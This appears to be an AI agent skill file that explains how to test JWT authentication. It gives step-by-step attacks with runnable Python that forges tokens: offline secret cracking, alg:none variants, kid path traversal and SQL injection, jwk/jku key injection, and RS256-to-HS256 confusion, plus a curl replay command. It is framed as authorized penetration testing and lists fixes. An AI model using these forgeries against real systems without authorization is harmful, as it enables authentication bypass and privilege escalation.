- name
- jwt-attacks
- description
- Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.
## Contents
- Scope & authorization
- Step 0 - locate the token and establish a baseline
- Step 1 - offline HMAC secret crack (passive)
- Step 2 - signature stripping (active)
- Step 3 - alg:none family (active)
- Step 4 - kid manipulation (active)
- Step 5 - self-signed key injection: jwk / jku (active)
- Step 6 - RS256->HS256 algorithm confusion (active)
- Runnable snippets
- Output
## Scope & authorization
Only run against an application you own or are engaged to test. The offline secret-cracking step (Step 1) is fully passive - it only analyzes a token you already captured and makes no network requests, so it is always safe to run. Every forgery step after it is active: it replays a tampered token against the live server, which mutates the authenticated session and appears in the target's logs. Do not run the active steps against third-party or out-of-scope hosts.
Inputs are the JWTs you already hold - captured from proxy history, a browser session, or an `Authorization` header the app issued to you. Outputs are "report a finding when the server accepts a token you forged."
## Step 0 - locate the token and establish a baseline
1. **Find the JWT.** In each captured request, read the `Authorization` header. Strip a leading `Bearer ` if present. A JWT is three base64url segments joined by dots (`header.payload.signature`) and the header segment almost always starts with `ey` (that is `{"` base64url-encoded). Tokens also appear in cookies and in `access_token` / `id_token` body or query params - check those too. Skip any auth header whose value does not start with `ey`; after ~3 non-JWT auth values on a host, move on.
2. **Decode it (passive).** base64url-decode segment 1 (header) and segment 2 (payload). Note `alg`, `kid`, `jku`, `jwk` in the header and `exp`, `iat`, roles/scopes/`sub` in the payload - these drive both the crack and the forgeries.
3. **Establish the rejection baseline (active).** Before forging anything, confirm the endpoint actually enforces the token: replay the request with a **deliberately invalid** token (original token with its last signature character changed) and confirm the server answers `401 Unauthorized`. Only endpoints that reject a bad token are worth attacking - if an endpoint returns 200 for garbage, it never checked the token and the "forgery accepted" signal is meaningless. Rate-limit yourself: after ~5 filtered requests that fail to return 401 to an invalid token, stop on that host.
Throughout the active steps, the finding condition is identical: **you send a token you forged (one you could never have signed legitimately) and the server responds with anything other than Unauthorized** - it verified nothing, or verified against something you control.
At this baseline step also test for "dumb" developer mistakes, for example hard-coding API keys in the easily decodable JWT value.
## Step 1 - offline HMAC secret crack (passive)
If the token uses a symmetric algorithm (`HS256` / `HS384` / `HS512`), its signature is an HMAC keyed by a server secret. A weak/default secret can be recovered offline with zero requests: for each candidate key in a wordlist, attempt to verify the captured token; the key that verifies is the server's signing secret. Once you hold it you can mint arbitrary valid tokens (any `sub`, any role, any `exp`).
Report a finding when: any candidate key successfully verifies the captured token's signature. Record the recovered key.
Use the bundled **`references/jwt-secrets.txt`** (~1,600 weak/default/leaked HMAC secrets) as the primary wordlist - pass it to the cracker below or to `hashcat -m 16500` for a GPU run. Always add app-specific candidates too: project name, domain, and the `SECRET_KEY` defaults of the framework in use. Extend further with the `jwt.secrets.list` from the `wallarm/jwt-secrets` collection.
The short list below is only an at-a-glance sample of what `references/jwt-secrets.txt` covers:
```
secret
password
changeme
default
jwt
jwtsecret
jwt_secret
jwtSecret
your-256-bit-secret
your_jwt_secret
mysecret
supersecret
secretkey
secret_key
key
private
admin
test
qwerty
123456
0000000000000000
```
## Step 2 - signature stripping (active)
Send the token as `header.payload.` - both original segments unchanged, the signature segment emptied (trailing dot, nothing after it). This tests servers that split on `.` and only verify a signature when the third segment is non-empty. Report a finding when the server accepts the empty-signature token.
## Step 3 - alg:none family (active)
The `none` algorithm declares "unsigned"; a spec-compliant verifier must reject it on a protected endpoint. Forge an unsigned token: take the original header, set `alg`, take the original payload, and push `exp` ~12 hours into the future (so a stale-but-otherwise-valid token isn't rejected merely for expiry). Re-encode `header.payload.` with an empty signature. Try each casing variant separately - naive blocklists only match one:
- `none` (lowercase)
- `None` (title-case)
- `NONE` (upper)
- `nOnE` / `noNE` (mixed case)
Report a finding when the server accepts any casing of an unsigned token with the `alg` set to a `none` variant.
## Step 4 - kid manipulation (active)
If the header carries a `kid` (key-id), the server uses it to select the verification key - which makes it an injection point. Forge a token whose `kid` points somewhere predictable, then sign with a key you control:
- **Path traversal to a null/empty file:** set `kid` to `../../../../../../../dev/null` (and, for parsers that read a `k` field, set `k` to empty or the base64 of a null byte, `AA==`), then HMAC-sign the token with an **empty** key. If the server loads `/dev/null` as the key material, it verifies your token against an empty key - which you used - and it passes.
- **SQL-injection / other traversal targets** in `kid` (e.g. `' UNION SELECT 'known-key'--`) follow the same shape: make the key the server fetches be one you know, then sign with it.
Report a finding when the server accepts a token whose `kid` you redirected and which you signed with the resulting known/empty key.
## Step 5 - self-signed key injection: jwk / jku (active)
These attacks make the token carry (or point at) the verification key, so a server that trusts header-supplied keys will validate a token you signed with your own keypair.
- **Embedded JWK (`jwk` header).** Generate your own RSA keypair. Build a header with `alg: RS256` (force it if the original used a different family), a `kid` (reuse the original's or your public-key thumbprint), and a `jwk` object containing your public key (`kty: RSA`, `e: AQAB`, `n:` = your key's base64url modulus). Sign the token with your **private** key. A server that verifies against the inline `jwk` instead of its own trusted key will accept it.
- **jku header pointing at your JWKS.** Set `jku` to a URL you host serving a `jwks.json` that contains your public key, and sign with your private key. This is noisier (it makes the server fetch an attacker URL, leaving a callback fingerprint) - only run it where an out-of-band HTTP hit is acceptable, and prefer an in-scope collaborator/canary host. Watch for SSRF-style allowlist bypasses (`jku` host-confusion, `@`-tricks) if the server restricts the `jku` origin.
Report a finding when the server accepts a token signed by your own keypair because it trusted a key you supplied in `jwk` or fetched via `jku`.
## Step 6 - RS256->HS256 algorithm confusion (active)
When a token is RSA-signed (`RS256`/`RS384`/`RS512`), the server holds an RSA **public** key to verify it - and that public key is not secret. If the server picks its verification algorithm from the token's own `alg` header, switch `alg` to `HS256` and sign the token using the **RSA public-key PEM text as the HMAC secret**. A confused server will HMAC-verify with the public key it thinks is an RSA key - a value you also hold - and accept the token.
You need the server's public key. Obtain it from the app's JWKS endpoint (`/.well-known/jwks.json`, `/jwks`), from the TLS certificate, or reconstruct it from two captured tokens (the `rsa_sign2n` technique recovers `n` from two signatures). Then HMAC-SHA256 `header.payload` using the exact PEM bytes as the key.
Report a finding when the server accepts an `HS256` token that you signed with its RSA public key as the HMAC secret. (The source query flags this alongside `jku` tampering, ECDSA confusions, and CVE-2017-11424-style public-key confusions as high-value follow-ups to the automated checks above.)
## Runnable snippets
Passive crack (Step 1) - no network, tries the bundled `jwt-secrets.txt` against a captured token. Set `$JWT` to the token and `$WL` to this skill's wordlist (`references/jwt-secrets.txt`):
```bash
python3 - "$JWT" "${WL:-references/jwt-secrets.txt}" <<'PY'
import sys, jwt
tok = sys.argv[1]
wl = open(sys.argv[2], encoding="utf-8").read().splitlines()
for k in wl:
try:
jwt.decode(tok, k, algorithms=["HS256","HS384","HS512"], options={"verify_exp": False})
print("CRACKED secret:", repr(k)); break
except Exception: # not just InvalidTokenError: an empty candidate raises InvalidKeyError, which must not abort the run
pass
else:
print(f"no key in {len(wl)}-entry wordlist matched")
PY
```
Forge the active mutations (Steps 2-6) from a captured token, then replay each against the live endpoint:
```bash
python3 - <<'PY'
import json, base64, hmac, hashlib, time, jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
TOKEN = "PASTE_CAPTURED_JWT_HERE"
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
d64u = lambda s: base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
h_seg, p_seg, s_seg = TOKEN.split(".")
hdr = json.loads(d64u(h_seg)); pl = json.loads(d64u(p_seg))
pl["exp"] = int(time.time()) + 12 * 3600
enc = lambda o: b64u(json.dumps(o, separators=(",", ":")).encode())
forgeries = {}
forgeries["strip"] = f"{h_seg}.{p_seg}."
for a in ("none", "None", "NONE", "nOnE"):
forgeries[f"alg={a}"] = f"{enc({**hdr, 'alg': a})}.{enc(pl)}."
kh = {**hdr, "alg": "HS256", "kid": "../../../../../../../dev/null", "k": ""}
si = f"{enc(kh)}.{enc(pl)}"
forgeries["kid-devnull"] = si + "." + b64u(hmac.new(b"", si.encode(), hashlib.sha256).digest())
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
nums = priv.public_key().public_numbers()
n_b64 = b64u(nums.n.to_bytes((nums.n.bit_length()+7)//8, "big"))
jwk_hdr = {**hdr, "alg": "RS256",
"jwk": {"kty": "RSA", "use": "sig", "e": "AQAB",
"kid": hdr.get("kid", "poc"), "n": n_b64}}
pem = priv.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption())
forgeries["jwk-inject"] = jwt.encode(pl, pem, algorithm="RS256", headers=jwk_hdr)
PUBKEY_PEM = b"-----BEGIN PUBLIC KEY-----\n...server public key...\n-----END PUBLIC KEY-----"
ch = {**hdr, "alg": "HS256"}
ci = f"{enc(ch)}.{enc(pl)}"
forgeries["rs->hs"] = ci + "." + b64u(hmac.new(PUBKEY_PEM, ci.encode(), hashlib.sha256).digest())
for name, tok in forgeries.items():
print(name, tok)
PY
```
Replay each forged token and read the status line - anything that is not 401 on an endpoint that rejected your Step-0 invalid token is a finding:
```bash
curl -sk -o /dev/null -w '%{http_code}\n' \
-H "Authorization: Bearer $FORGED_JWT" "https://TARGET/protected/endpoint"
```
## Output
Report per token and per endpoint:
- **JWT located** - where (header/cookie/param), its `alg`, and whether the endpoint enforced it (401 baseline confirmed).
- **Passive:** secret cracked? If yes, name the recovered key - the server's HMAC secret is fully compromised and arbitrary valid tokens can be minted.
- **Active:** for each mutation (signature-strip, alg:none casing, kid, jwk/jku, RS->HS) state accepted / rejected, with the status line the server returned to the forged token.
- **Verdict.** *Clean* - every forgery rejected with 401 and no secret cracked. *Vulnerable* - name each accepted forgery and what it grants (auth bypass, privilege escalation via a forged `role`/`sub`). Fix: pin the accepted algorithm server-side and never read `alg` from the token; reject `none`; verify only against a server-held key, never an inline `jwk`/`jku`; use a high-entropy random HMAC secret; validate `kid` against an allowlist.
State which steps ran and which did not (e.g. RS->HS skipped for lack of the public key) so coverage stays honest; never present an unrun step as clean.
GitHubで見る